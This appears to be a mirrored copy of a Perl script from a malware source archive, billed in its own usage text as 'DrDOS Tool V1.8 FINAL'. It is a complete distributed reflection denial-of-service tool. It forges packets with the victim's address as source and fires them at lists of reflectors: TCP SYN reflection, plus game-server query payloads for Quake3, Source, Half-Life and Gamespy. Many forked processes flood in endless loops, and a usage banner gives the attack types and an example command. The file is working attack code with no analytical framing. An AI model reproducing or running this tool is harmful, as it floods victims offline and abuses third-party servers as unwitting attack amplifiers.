mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
219 lines
5.0 KiB
Perl
219 lines
5.0 KiB
Perl
|
#!/usr/bin/perl -w
|
||
|
|
||
|
use Benchmark;
|
||
|
use Net::RawIP;
|
||
|
use Time::HiRes qw ( usleep );
|
||
|
|
||
|
my $rand = int( rand 0x400 );
|
||
|
my $frag = 0;
|
||
|
my $doff = 0x05;
|
||
|
my $ttl = 0xFF;
|
||
|
my $tos = 0x08;
|
||
|
my $pid;
|
||
|
my $tx;
|
||
|
my @list;
|
||
|
my @running;
|
||
|
my @pids;
|
||
|
|
||
|
my %attack =
|
||
|
( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );
|
||
|
|
||
|
if ( @ARGV < 7 || @ARGV > 7 ) {
|
||
|
&usage();
|
||
|
exit;
|
||
|
}
|
||
|
|
||
|
$tx = $ARGV[3];
|
||
|
my $t0 = new Benchmark;
|
||
|
|
||
|
print "\n*** Now Reading Hosts Into Array\n\n";
|
||
|
|
||
|
open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";
|
||
|
chomp( @list = <ELITE> );
|
||
|
close(ELITE);
|
||
|
|
||
|
sub tcp {
|
||
|
my ( $ip, $port ) = @_;
|
||
|
my $a = new Net::RawIP(
|
||
|
{
|
||
|
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl },
|
||
|
tcp => {
|
||
|
dest => $port,
|
||
|
source => $ARGV[1],
|
||
|
syn => 1,
|
||
|
ack => 0,
|
||
|
fin => 0,
|
||
|
rst => 0,
|
||
|
psh => 0,
|
||
|
urg => 0,
|
||
|
doff => $doff
|
||
|
}
|
||
|
}
|
||
|
);
|
||
|
$a->send( 0, $tx );
|
||
|
}
|
||
|
|
||
|
sub quake3 {
|
||
|
my ( $ip, $port ) = @_;
|
||
|
my $a = new Net::RawIP(
|
||
|
{
|
||
|
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
|
||
|
udp => {
|
||
|
dest => $port,
|
||
|
source => $ARGV[1],
|
||
|
data => chr(255) . chr(255) . chr(255) . chr(255) . "getstatus" . chr(10),
|
||
|
}
|
||
|
}
|
||
|
);
|
||
|
$a->send( 0, $tx );
|
||
|
|
||
|
|
||
|
}
|
||
|
|
||
|
sub source {
|
||
|
my ( $ip, $port ) = @_;
|
||
|
my $a = new Net::RawIP(
|
||
|
{
|
||
|
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
|
||
|
udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . chr(85), }
|
||
|
}
|
||
|
);
|
||
|
$a->send( 0, $tx );
|
||
|
|
||
|
|
||
|
}
|
||
|
|
||
|
sub hl {
|
||
|
my ( $ip, $port ) = @_;
|
||
|
my $a = new Net::RawIP(
|
||
|
{
|
||
|
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
|
||
|
udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "rules", }
|
||
|
}
|
||
|
);
|
||
|
$a->send( 0, $tx );
|
||
|
|
||
|
}
|
||
|
|
||
|
sub gs {
|
||
|
my ( $ip, $port ) = @_;
|
||
|
my $a = new Net::RawIP(
|
||
|
{
|
||
|
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
|
||
|
udp => {
|
||
|
dest => $port,
|
||
|
source => $ARGV[1],
|
||
|
data => chr(92) . chr(115) . chr(116) . chr(97) . chr(116) . chr(117) . chr(115) . chr(92),
|
||
|
}
|
||
|
}
|
||
|
);
|
||
|
$a->send( 0, $tx );
|
||
|
|
||
|
}
|
||
|
|
||
|
sub gs2 {
|
||
|
my ( $ip, $port ) = @_;
|
||
|
my $a = new Net::RawIP(
|
||
|
{
|
||
|
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
|
||
|
udp => {
|
||
|
dest => $port,
|
||
|
source => $ARGV[1],
|
||
|
data => chr(254)
|
||
|
. chr(253)
|
||
|
. chr(0)
|
||
|
. chr(67)
|
||
|
. chr(79)
|
||
|
. chr(82)
|
||
|
. chr(89)
|
||
|
. chr(255)
|
||
|
. chr(255)
|
||
|
. chr(255),
|
||
|
}
|
||
|
}
|
||
|
);
|
||
|
$a->send( 0, $tx );
|
||
|
|
||
|
}
|
||
|
|
||
|
sub paxor {
|
||
|
my $type = $_[0];
|
||
|
unless ( $type eq "mixed" ) {
|
||
|
while (1) {
|
||
|
foreach (@list) { $attack{$type}->( split( ':', $_ ) );}
|
||
|
}
|
||
|
}
|
||
|
else {
|
||
|
my @part;
|
||
|
while (1) {
|
||
|
foreach (@list) {
|
||
|
@part = split( ":", $_ );
|
||
|
$attack{ $part[2] }->( $part[0], $part[1]);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
for($number = 0;$number < $ARGV[5];$number++)
|
||
|
{
|
||
|
$pid = fork();
|
||
|
if ( $pid == 0 ) {
|
||
|
$SIG{INT} = \&controlsub;
|
||
|
|
||
|
&paxor( $ARGV[4] );
|
||
|
|
||
|
my $t1 = new Benchmark;
|
||
|
my $td = timediff( $t1, $t0 );
|
||
|
print "\nTotal Time: ", timestr($td), "\n";
|
||
|
sleep(5);
|
||
|
exit;
|
||
|
}
|
||
|
else {
|
||
|
push(@pids, $pid);
|
||
|
}
|
||
|
}
|
||
|
sleep( $ARGV[6] );
|
||
|
foreach(@pids)
|
||
|
{
|
||
|
kill( "INT", $_ );
|
||
|
}
|
||
|
exit;
|
||
|
|
||
|
sub controlme {
|
||
|
$SIG{INT} = \&controlme;
|
||
|
print "Signal Caught Now Exiting\n";
|
||
|
my $t1 = new Benchmark;
|
||
|
my $td = timediff( $t1, $t0 );
|
||
|
print "\nTotal Time: ", timestr($td), "\n";
|
||
|
sleep(5);
|
||
|
exit;
|
||
|
}
|
||
|
|
||
|
sub controlsub {
|
||
|
$SIG{INT} = \&controlsub;
|
||
|
exit;
|
||
|
}
|
||
|
|
||
|
|
||
|
sub usage {
|
||
|
print << "HEREDOC";
|
||
|
$0 <target> <target port> <reflector list> <weight> <attack type> <threads> <Time>
|
||
|
DrDOS Tool V1.8 FINAL by ohnoes1479
|
||
|
|
||
|
Time: Limit running time of the script, Time is in seconds
|
||
|
threads: number of threads to run
|
||
|
attack types:
|
||
|
tcp: reflected tcp SYN attack
|
||
|
quake3: reflected udp attack using quake3 based servers
|
||
|
source: reflected udp attack using Valve Source based servers
|
||
|
hl: reflected udp attack using Half Life servers
|
||
|
gs: reflected udp attack using Gamespy based servers
|
||
|
gs2: reflected udp attack using Gamespy 2 based servers
|
||
|
mixed: specify type of server in list, EG:
|
||
|
8.8.8.8:80:tcp
|
||
|
64.120.46.100:28960:quake3
|
||
|
Command: $0 127.0.0.1 8080 servers.txt 5 tcp
|
||
|
HEREDOC
|
||
|
|
||
|
}
|